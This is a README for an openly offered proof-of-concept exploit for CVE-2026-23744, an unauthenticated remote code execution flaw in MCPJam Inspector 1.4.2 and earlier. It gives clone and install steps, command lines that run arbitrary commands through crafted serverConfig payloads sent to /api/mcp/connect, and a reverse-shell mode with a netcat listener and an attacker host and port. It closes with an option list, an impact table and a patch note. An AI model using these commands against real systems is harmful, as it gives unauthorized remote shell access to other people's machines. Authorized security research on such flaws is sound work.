
Unauthenticated remote code execution proof-of-concept for CVE-2026-23744 targeting MCPJam Inspector. Generates crafted MCP serverConfig payloads to exploit /api/mcp/connect endpoint with reverse shell and dry-run debugging support.
Unauthenticated remote code execution PoC for CVE-2026-23744. MCPJam Inspector 1.4.2 and earlier expose functionality through /api/mcp/connect that can launch an attacker-controlled MCP server command without authentication.
For authorized testing and research only. Do not use against systems you do not own or have explicit permission to test.
HTTP POST -> /api/mcp/connect -> serverConfig command -> process launch -> command execution
serverConfig payload./api/mcp/connect endpoint.bash -c.


git clone https://github.com/ozcanpng/CVE-2026-23744.git
cd CVE-2026-23744
pip install -r requirements.txt
python3 CVE-2026-23744.py \
--url http://127.0.0.1:3000 \
--cmd 'id'
Start a listener first:
rlwrap nc -lvnp 4444
Then run:
python3 CVE-2026-23744.py \
--url http://127.0.0.1:3000 \
--reverse-shell \
--lhost 10.10.16.53 \
--lport 4444
Useful options:
--cmd COMMAND Command to execute (default: id)
--server-id VALUE serverId value in the crafted MCP config (default: pwn)
--dry-run Build payload flow without sending the HTTP request
--debug Print endpoint and JSON payload
--verify-tls Verify HTTPS certificates
--timeout SECONDS HTTP timeout in seconds (default: 8)
--yes Skip reverse-shell confirmation prompt
| Product | Affected Version | Access Required | Impact |
|---|---|---|---|
| MCPJam Inspector | <= 1.4.2 | None | Remote command execution as the MCPJam Inspector process user |
The issue is especially exposed when MCPJam Inspector listens on 0.0.0.0, allowing remote hosts to reach the development service.
/api/mcp/connect.serverConfig.command and serverConfig.args.--cmd for safe validation before attempting a reverse shell.--dry-run --debug to inspect the generated request without touching a target.1.4.3 contains the upstream patch according to NVD.ozcanpng — github.com/ozcanpng — ozcanpng.dev